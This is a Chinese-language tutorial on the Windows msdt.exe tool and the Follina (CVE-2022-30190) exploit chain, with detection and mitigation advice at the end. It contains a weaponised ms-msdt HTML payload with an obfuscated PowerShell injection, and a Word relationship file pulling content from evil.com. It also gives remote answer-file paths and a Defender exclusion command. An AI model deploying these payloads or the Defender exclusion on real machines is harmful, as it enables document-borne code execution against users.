Msdt.exe 是用來執行疑難排解套件的工具,
但在 2022 年的 Follina (CVE-2022-30190) 漏洞讓全世界見識到它的危險性。
MSDT 是什麼?
診斷工具架構
MSDT (Microsoft Support Diagnostic Tool) 的運作方式:
- 疑難排解套件 (.diagcab):包含診斷腳本的壓縮檔
- 診斷清單 (.diagpkg):XML 格式的診斷設定
- ms-msdt: 協議:URL 協議處理器,可從瀏覽器呼叫 msdt
- Answer File:自動化診斷的 XML 設定檔
正常的 MSDT 使用
:: 執行疑難排解套件
msdt.exe /cab C:\Path\To\DiagPackage.diagcab
:: 使用 Answer File
msdt.exe /af C:\ProgramData\Microsoft\Windows\WDI\answer.xml
:: 透過 ID 執行
msdt.exe /id NetworkDiagnosticsWeb
重點是:msdt.exe 可以透過 URL 協議被遠端呼叫,這就是我們這次的主要攻擊點!
攻擊流程
Step 1: 惡意 Answer File 與診斷套件
先講一個重要觀念:MSDT 的 Answer File 本身只是用來「預先回答診斷互動問題」的 XML,不能直接在裡面塞 PowerShell 腳本或任意命令。真正的程式碼執行來自:
- 惡意診斷套件(.diagcab / .diagpkg)內嵌的腳本
- Answer File 中參考的惡意 MSI
LOLBAS 收錄的用法(對應 ATT&CK T1218 System Binary Proxy Execution)是搭配內建的 PCWDiagnostic 套件,讓 msdt 執行 Answer File 中參考的惡意 MSI:
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\TestLab\answer.xml /skip TRUE
Step 2: 建立 ms-msdt URL
基本格式:
ms-msdt:/id PCWDiagnostic /skip force /param "arg1 value1" /param "arg2 value2"
惡意 URL(Follina 風格):
<!-- 惡意 HTML -->
<!DOCTYPE html>
<html>
<head>
<title>Invoice</title>
</head>
<body>
<script>
// 透過 ms-msdt 協議執行
window.location.href =
"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+'::UTF8.GetString([System.Convert]'+'::FromBase64String('+'\\'ZWNobyBIYWNrZWQh\\''))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>
</body>
</html>
這種透過 PCWDiagnostic 的 IT_BrowseForFile 參數注入指令的手法,在 LOLBAS 上對應 ATT&CK T1202 Indirect Command Execution,也就是 CVE-2022-30190 的核心。
Step 3: 各種執行方式
方法一:直接執行(需要檔案)
:: 執行本地 Answer File
msdt.exe /af C:\TestLab\answer.xml
:: 執行遠端 Answer File(可能被阻擋)
msdt.exe /af \\evil-server\share\answer.xml
方法二:透過 Office 文件(Follina 攻擊)
建立惡意 Word 文件:
- 建立 .docx 檔案
- 插入外部關係指向惡意 HTML
- HTML 包含 ms-msdt: URL
- 使用者開啟文件時自動觸發
_rels/document.xml.rels:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="https://evil.com/malicious.html!"
TargetMode="External"/>
</Relationships>
方法三:PowerShell 觸發
# 直接呼叫
Start-Process "msdt.exe" -ArgumentList "/id PCWDiagnostic /skip force"
# 透過 COM 物件
$shell = New-Object -ComObject Shell.Application
$shell.ShellExecute("msdt.exe", "/af C:\TestLab\answer.xml")
# 建立捷徑
$ws = New-Object -ComObject WScript.Shell
$shortcut = $ws.CreateShortcut("C:\TestLab\diagnostic.lnk")
$shortcut.TargetPath = "msdt.exe"
$shortcut.Arguments = "/id PCWDiagnostic"
$shortcut.Save()
實際測試(Windows 11)
測試環境準備
mkdir C:\TestLab
cd C:\TestLab
powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"
基本功能測試
:: 列出可用的診斷包
msdt.exe /id PCWDiagnostic
:: 測試基本執行(會開啟診斷視窗)
msdt.exe /id NetworkDiagnosticsWeb /skip true
Follina 概念驗證(已修補但概念重要)
# 建立測試 HTML
@'
<html>
<head>
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force";
</script>
</head>
</html>
'@ | Out-File -FilePath C:\TestLab\test.html
# 開啟會觸發 msdt(但不會執行惡意程式碼)
Start-Process C:\TestLab\test.html
偵測&防禦建議
關鍵偵測指標
msdt.exe+/af參數msdt.exe從 Office 程序啟動ms-msdt:協議在網頁或文件中- msdt.exe 產生 PowerShell/cmd 子程序
群組原則防護
AppLocker 可以限制 msdt.exe 執行。注意 New-AppLockerPolicy 需要搭配 Get-AppLockerFileInformation 使用,且產生的規則預設是 Allow,要 Deny 的話需要手動調整或直接用 XML:
# 產生 msdt.exe 的 AppLocker 規則 XML(預設 Action 為 Allow)
Get-AppLockerFileInformation -Path "$env:WINDIR\System32\msdt.exe" |
New-AppLockerPolicy -RuleType Publisher -User Everyone -Xml
# 直接以 XML 定義全域 Deny 規則,再用 Set-AppLockerPolicy 或 GPO 匯入
$rule = @"
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="Enabled">
<FilePathRule Id="Block_MSDT" Name="Block MSDT"
Description="Deny msdt.exe for all users"
UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%WINDIR%\System32\msdt.exe"/>
</Conditions>
</FilePathRule>
</RuleCollection>
</AppLockerPolicy>
"@
要特別注意:AppLocker 規則沒有「父程序」條件,沒辦法只擋「從 Office 啟動的 msdt.exe」。要防止 Office 文件觸發 Follina 這類攻擊,正確的做法是啟用 Defender ASR 規則「Block all Office applications from creating child processes」:
# ASR:封鎖所有 Office 應用程式建立子程序
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a -AttackSurfaceReductionRules_Actions Enabled
微軟官方在修補前給出的緩解措施則是直接停用 ms-msdt URL 協議(會影響所有疑難排解連結):
reg export HKEY_CLASSES_ROOT\ms-msdt backup.reg
reg delete HKEY_CLASSES_ROOT\ms-msdt /f
Follina (CVE-2022-30190) 深入解析
漏洞原理
- Office 支援外部 OLE 物件關係
- 關係可指向 HTML 檔案
- HTML 可包含 ms-msdt: URL
- MSDT 執行時可帶參數執行 PowerShell
微軟官方的說法是:「當 MSDT 透過 URL 協議被 Word 這類應用程式呼叫時,存在遠端程式碼執行漏洞」,成功利用後可以呼叫應用程式的權限執行任意程式碼。
攻擊鏈
Word 文件 → 外部關係 → 惡意 HTML → ms-msdt: URL → msdt.exe → PowerShell
為什麼這麼危險?
- 零點擊執行(RTF 變種) - 把文件轉成 RTF 後,Windows 檔案總管的預覽窗格就能觸發,連開啟文件都不用
- 繞過巨集限制 - 不需要啟用巨集
- 難以偵測 - 使用合法工具
- Protected View 其實擋得住 Word 觸發 - 微軟官方 FAQ 明確說明 Protected View / Application Guard 預設可以阻止透過 Office 開啟文件的攻擊;RTF 預覽窗格路徑因為完全不經過 Office 的開啟流程,所以才不受 Protected View 保護
微軟已於 2022/6/14 的 Windows 更新中修補 CVE-2022-30190(7/12 另有防禦縱深更新),LOLBAS 也備註此手法在安裝 2022 年 6 月安全性更新的系統上無效。
總結!
MSDT 的危險性:
- URL 協議支援 - 可從瀏覽器/文件觸發
- PowerShell 執行 - 透過診斷腳本
- 系統信任 - Microsoft 簽章工具
- Follina 遺毒 - 雖已修補但概念仍可用